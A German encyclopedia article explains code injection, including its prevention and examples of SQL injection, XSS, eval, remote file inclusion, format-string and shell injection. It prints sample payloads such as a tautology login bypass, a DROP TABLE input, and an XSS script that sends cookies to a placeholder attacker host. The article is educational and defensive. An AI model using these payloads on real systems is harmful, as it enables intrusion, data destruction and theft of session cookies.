Code-Injektion ist das Einschleusen und AusfĂŒhren von unerwĂŒnschtem Programmcode, durch die Ausnutzung eines Computerfehlers. Dabei werden externe Daten von einem Angreifer genutzt, um Code in ein verwundbares Computerprogramm einzuschleusen (zu âinjizierenâ) und zur AusfĂŒhrung zu bringen. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, etwa durch Verbreitung von Schadsoftware.
Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen, indem dort nicht zwischen Benutzereingaben und Systembefehlen unterschieden wird.
Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswĂŒrdige Daten an einen Interpreter sendet. Am hĂ€ufigsten treten sie auf in SQL, LDAP, XPath, NoSQL-Abfragen, Betriebssystembefehlen, XML-Parsern, SMTP-Kopfzeilen und allgemein in den Parametern von Programmaufrufen. Injektionsschwachstellen sind in der Regel im Quellcode leichter zu entdecken als durch Tests.[1] Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.[2]
Injektion kann zu Datenverlust oder -beschĂ€digung oder Zugriffsverweigerung fĂŒhren â manchmal sogar zu einer kompletten HostĂŒbernahme.
Code-Injection-Techniken sind bei System-Hacking oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:
- Beliebiges VerÀndern von Werten in einer Datenbank durch SQL-Injection. Die Auswirkungen können von der Verunstaltung von Webseiten bis zur ernsthaften Kompromittierung sensibler Daten reichen.
- Installieren von Malware oder AusfĂŒhren von bösartigem Code auf einem Server durch Einschleusen von Server-Scripting-Code (wie PHP oder ASP).
- Privilegieneskalation zu root-Rechten durch Ausnutzung von Shell-Injection-Schwachstellen in einem setuid root-Binary unter UNIX oder Local System durch Ausnutzung eines Dienstes unter Microsoft Windows.
- Angriffe auf Web-Benutzer mit HTML-Skript-Injektion (Cross-Site-Scripting).
Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als Code Injection klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.[3]
Gute und ungewollte Verwendung
[Bearbeiten | Quelltext bearbeiten]Theoretisch kann Code-Injektion mit guten Absichten verwendet werden,[4][5] indem etwa eine Suchergebnisseite eine nĂŒtzliche neue Spalte anzeigt oder den Inhalt weiter filtert, ordnet oder gruppiert. Auch beim Testen von Software, besonders bei Penetrationstests, leistet Code-Injektion gute Dienste (âWhite Hatâ). Selbst ein Softwareentwickler wird manchmal Methoden einsetzen, die diesen Namen verdienen â etwa eine Bibliotheksfunktion vorĂŒbergehend durch eine eigene Funktion mit gleichem Namen ĂŒberschreiben.[6]
NatĂŒrlich könnte ein Nutzer auch ohne Absicht Code injizieren. Er hĂ€lt beispielsweise etwas fĂŒr eine gĂŒltige Eingabe, was vom Entwickler mit einer besonderen Bedeutung versehen wurden â vielleicht nur ein Kaufmanns-Und oder ein Apostroph in einem Firmennamen. So etwas könnte auch in einer Datei stehen, die der Nutzer hochlĂ€dt.
Verhindern von Problemen
[Bearbeiten | Quelltext bearbeiten]Um Code-Injection-Probleme zu verhindern, ist vor allem eine sichere Handhabung von Ein- und Ausgaben notwendig:
- Die verwendete Programmierschnittstelle (âAPIâ) sollte gegen alle Eingaben sicher sind, wie etwa vorkompilierte SQL-Anweisung mit Platzhaltern fĂŒr die Benutzerdaten oder die Criteria API.[7]
- Erzwingen der Sprachentrennung ĂŒber ein statisches Typensystem.[8]
- Eingabevalidierung durch (möglichst serverseitiges) Whitelisting, also einer Liste akzeptierter Werte.
- Eingabekodierung, z. B. das Escapen ungewollter Zeichen. In PHP z. B. mit der Funktion
htmlspecialchars(), die Sonderzeichen fĂŒr die sichere Ausgabe in HTML umschreibt, undmysqli::real_escape_string(), die Daten fĂŒr eine SQL-Anfrage isoliert - Entsprechende Ausgabekodierung zur Verhinderung von HTML-Injection-Attacken gegen Website-Besucher.
HttpOnlyist ein Flag fĂŒr HTTP-Cookies, das clientseitige Skriptinteraktion mit Cookies verhindert und damit bestimmte XSS-Angriffe.[9]- Modulare Shell-Abkopplung vom Kernel
Diese LösungsvorschlĂ€ge befassen sich primĂ€r mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. FĂŒr die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung fĂŒhrt, mĂŒssen jedoch andere AnsĂ€tze gewĂ€hlt werden. Einige VorschlĂ€ge, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren:
- Laufzeit-Image-Hash-Validierung â Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausfĂŒhrbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash.
- NX-Bit â Alle Benutzerdaten kommen in einen speziellen Speicherbereich, der als nicht ausfĂŒhrbar markiert ist. Der Prozessor weiĂ dann, dass dort kein Code vorhanden sein kann, und lehnt dort die AusfĂŒhrung ab.
- Canaries â Diese legen zufĂ€llig Werte auf einen Stack. Nach der RĂŒckkehr der Funktion wird der Wert ĂŒberprĂŒft und bei VerĂ€nderung das Programm gestoppt. Dies verhindert Stack-Overflow-Attacken.
- Code Pointer Masking (CPM) â Ein Zeiger auf auszufĂŒhrenden Code wird zuvor auf PlausibilitĂ€t geprĂŒft. In C kann dies auf Prozessorebene durch eine Bitmaske geschehen.[10]
Beispiele
[Bearbeiten | Quelltext bearbeiten]SQL-Injektion
[Bearbeiten | Quelltext bearbeiten]Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verĂ€ndern können oder die Bedeutung der ursprĂŒnglichen Abfrage beeintrĂ€chtigen.
Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine SQL-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen:
SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>
Diese Abfrage wird genau dann fĂŒndig, wenn es in der Tabelle BenutzerListe einen Eintrag gibt, dessen Benutzername und Passwort den Eingaben des Nutzers gleichen.
Wenn der böswillige Benutzer jedoch in Feld-1 einen gĂŒltigen Benutzernamen eingibt und in Feld-2 den Code XYZ' OR '1'='1', dann entsteht folgende Abfrage:
SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ'
OR '1'='1'
Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort âXYZâ (das dĂŒrfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.
Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: ';DROP TABLE BenutzerListe; --. In diesem Fall entsteht die folgende Datenbankabfrage:
SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''
Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als NĂ€chstes folgt eine DROP-Anweisung, die die komplette Tabelle BenutzerListe sofort und ohne RĂŒckfrage löscht. Der Rest wird wegen der fĂŒhrenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthĂ€lt nun keine Tabelle mit Benutzernamen und Passwörtern mehr.
Cross-Site-Scripting
[Bearbeiten | Quelltext bearbeiten]Code-Injektion ist die böswillige EinfĂŒhrung von Code in eine Anwendung. So bieten manche Webseiten ein GĂ€stebuch an, in dem Besucher kleine Nachrichten hinterlassen sollen â Dinge wie
Sehr schöne Seite!
Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im GÀstebuch wissen und eine Nachricht wie die folgende hinterlassen:
Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Wenn nun ein anderer Besucher die Seite besucht, sieht er den Bereich von <script> bis </script> gar nicht â statt ihn anzuzeigen, fĂŒhrt der Browser diesen Skriptcode sofort auf seinem Rechner aus. Dabei kann er nicht nur den Rechner kompromittieren, sondern auch auf der gerade besuchten Website unerwĂŒnschte Aktionen ausfĂŒhren â wenn der Nutzer dort angemeldet war, mit dessen Nutzerrechten.
Dieses Injizieren von Skripten in die Sitzung eines ahnungslosen folgenden Users wird als âCross-Site-Scriptingâ oder âXSSâ bezeichnet. Das GĂ€stebuch-Skript ĂŒbernimmt den Code des ersten Nutzers unĂŒberprĂŒft in den auszugebenden HTML-Text â auf Basis naiver Annahmen darĂŒber, welche Eingabedaten möglich sind.[11]
Dynamische Auswertungsschwachstellen
[Bearbeiten | Quelltext bearbeiten]Eine eval()-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine eval()-Funktion eingespeist wird
aufruft.[12]
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
Das Argument von eval wird als PHP verarbeitet, so dass weitere Befehle angehĂ€ngt werden können. Wird arg beispielsweise auf â10; system('/bin/echo uh-oh')â gesetzt, wird zusĂ€tzlicher Code ausgefĂŒhrt, der ein Programm auf dem Server ausfĂŒhrt, in diesem Fall â/bin/echoâ.
Objektinjektion
[Bearbeiten | Quelltext bearbeiten]PHP erlaubt die Serialisierung und Deserialisierung von ganzen Objekten. Wenn nicht vertrauenswĂŒrdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu ĂŒberschreiben und bösartige Angriffe auszufĂŒhren.[13] Ein solcher Angriff auf Joomla wurde 2013 gefunden.[14]
Entfernte Dateiinjektion
[Bearbeiten | Quelltext bearbeiten]Betrachten Sie dieses PHP-Programm (das eine per Anfrage angegebene Datei einschlieĂt):
<?php
$color = 'blue';
if (isset($_GET['Farbe']))
$color = $_GET['color'];
require($color . '.php');
Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie blau.php und rot.php geladen werden, wÀhrend Angreifer COLOR=http://evil.com/exploit angeben könnten, was PHP veranlasst, die externe Datei zu laden.
Format-Spezifizierer-Injektion
[Bearbeiten | Quelltext bearbeiten]Formatierungszeichenfolgen-Bugs treten am hÀufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthÀlt. Der Programmierer schreibt vielleicht fÀlschlicherweise printf(buffer) statt printf("%s", buffer). Die erste Version interpretiert buffer als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.
Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array passwort hat, die ein Passwort enthÀlt; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.
char user_input[100];
int int_in;
char passwort[10] = "Passwort1";
printf("Geben Sie eine ganze Zahl ein.");
scanf("%d", &int_in);
printf("Bitte geben Sie einen String\n");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input); // Sichere Version ist: printf("%s", user_input);
printf("\n");
return 0;
Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie %s%s%s%s%s%s%s%s gefĂŒllt wird, dann beginnt printf(), aus dem Stack zu lesen. SchlieĂlich wird einer der %s-Formatierer auf die Adresse von Passwort zugreifen, die sich auf dem Stack befindet, und Passwort1 auf den Bildschirm ausgeben.
Shell-Injektion
[Bearbeiten | Quelltext bearbeiten]Shell-Injektion (oder Befehlsinjektion[15]) ist nach Unix-Shells benannt, gilt aber fĂŒr die meisten Systeme, die es Software erlauben, eine Befehlszeile programmatisch auszufĂŒhren. Hier ist ein Beispiel fĂŒr ein verwundbares tcsh-Skript:
#!/bin/tcsh
# ĂŒberprĂŒfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches
Wenn das obige in der ausfĂŒhrbaren Datei ./check gespeichert ist, wird der Shell-Befehl ./check " 1 ) evil" versuchen, den injizierten Shell-Befehl evil auszufĂŒhren, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu ĂŒberprĂŒfen, also genau der Code, der vielleicht versucht hĂ€tte, den Parameter zu validieren, um einen Angriff abzuwehren.[16]
Jede Funktion, die zum Zusammenstellen und AusfĂŒhren eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören system(),[17] StartProcess() und System.Diagnostics.Process.Start().[18]
Client-Server-Systeme wie Webbrowsers Interaktion mit Webservern sind potenziell anfĂ€llig fĂŒr Shell-Injection. Betrachten Sie das folgende kurze PHP-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens funnytext auszufĂŒhren, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
Das passthru im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgefĂŒhrt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten URL entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollstĂ€ndig):[19]
Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in AnfĂŒhrungszeichen zu setzen:
- PHP:
escapeshellarg()undescapeshellcmd() - Python:
shlex.quote()
Dies bedeutet jedoch immer noch, dass der Programmierer diese Funktionen kennen/erlernen und daran denken muss, sie jedes Mal zu verwenden, wenn er Shell-Befehle verwendet. ZusÀtzlich zur Verwendung dieser Funktionen wird empfohlen, die Benutzereingabe zu validieren oder zu bereinigen.
Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht ĂŒber eine Shell ausfĂŒhren, wodurch die Möglichkeit der Shell-Injection verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstĂŒtzen und/oder im Vergleich zur prĂ€gnanten Shell-Syntax umstĂ€ndlicher/ausfĂŒhrlicher zu sein.
Siehe auch
[Bearbeiten | Quelltext bearbeiten]Weblinks
[Bearbeiten | Quelltext bearbeiten]- Robert Kuster: Drei Wege, Ihren Code in einen anderen Prozess zu injizieren. codeproject.com
- A. Danehkar: Inject your code to a Portable Executable file. codeproject.com
- A. Danehkar: Injective Code inside Import Table. codeproject.com
- Tadeusz Pietraszek, Chris Vanden Berghe: Abwehr von Injection-Attacken durch Context-Sensitive String Evaluation (CSSE). (PDF)
- Flux breitet sich aus. emsisoft.com â Erstes Trojanisches Pferd, das Code Injection nutzt, um die Erkennung durch eine Firewall zu verhindern
- The Daily WTF berichtet regelmĂ€Ăig ĂŒber reale VorfĂ€lle von AnfĂ€lligkeit fĂŒr Code Injection in Software.
Einzelnachweise
[Bearbeiten | Quelltext bearbeiten]- â Top 10 Web Application Security Vulnerabilities. In: Penn Computing. University of Pennsylvania, archiviert vom am 24. Februar 2018; abgerufen am 10. Dezember 2016 (englisch).
- â OWASP Top 10 2013 A1: Injection Flaws. OWASP, abgerufen am 19. Dezember 2013 (englisch).
- â NVD - Statistics Search. In: web.nvd.nist.gov. Abgerufen am 9. Dezember 2016 (englisch).
- â Raghunathan Srinivasan: Towards More Effective Virus Detectors. In: Arizona State University. Archiviert vom am 29. Juli 2010; abgerufen am 18. September 2010 (englisch): âBenevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.â
- â Lecture Notes in Computer Science, Jose Andre Morales, Ravi Sandhu, Shouhuai Xu, Erhan Kartaltepe. Springer, Berlin / Heidelberg 2010, ISBN 978-3-642-14705-0, Symptoms-Based Detection of Bot Processes, doi:10.1007/978-3-642-14706-7_18 (englisch).
- â Dynamische Linker-Tricks: Mit LD_PRELOAD schummeln, Funktionen injizieren und Programme untersuchen. In: RafaĆ CieĆlakâs blog. 2. April 2013, abgerufen am 10. Dezember 2016 (englisch).
- â The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries. Oracle, abgerufen am 19. Dezember 2013 (englisch).
- â Tom Moertel: Eine typbasierte Lösung fĂŒr das "Strings-Problem": ein passendes Ende fĂŒr XSS- und SQL-Injection-Löcher? In: Tom Moertelâs Blog. 18. Oktober 2006, abgerufen am 21. Oktober 2018 (englisch).
- â HttpOnly. In: OWASP. 12. November 2014, abgerufen am 10. Dezember 2016 (englisch).
- â Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter: CPM: Masking Code Pointers to Prevent Code Injection Attacks. In: ACM Transactions on Information and System Security. Band 16, Nr. 1, 1. Juni 2013, ISSN 1094-9224, S. 1â27, doi:10.1145/2487222.2487223 (englisch, Online [PDF]).
- â Brian Hope, Paco Hope, Ben Walther: Web Security Testing Cookbook. OâReilly Media, Sebastopol CA 2009, ISBN 978-0-596-51483-9, S. 254 (englisch, Online).
- â Steven M. Christey: Dynamische Auswertungsschwachstellen in PHP-Anwendungen. 3. Mai 2006, abgerufen am 21. Oktober 2018 (englisch).
- â Unserialize function warnings. PHP.net, abgerufen am 20. Januar 2023 (englisch).
- â Analyse der Joomla PHP Object Injection Vulnerability. Abgerufen am 6. Juni 2014 (englisch).
- â Command Injection. OWASP, abgerufen am 20. Januar 2023 (englisch).
- â Douglas W. Jones, CS:3620 Notes, Lecture 4 â Shell Scripts, Spring 2018.
- â system(3) â Linux man page. linux.die.net
- â Overloads. MSDN.
- â Command Injection. Archiviert vom am 27. Februar 2015; abgerufen am 27. Februar 2015 (englisch).
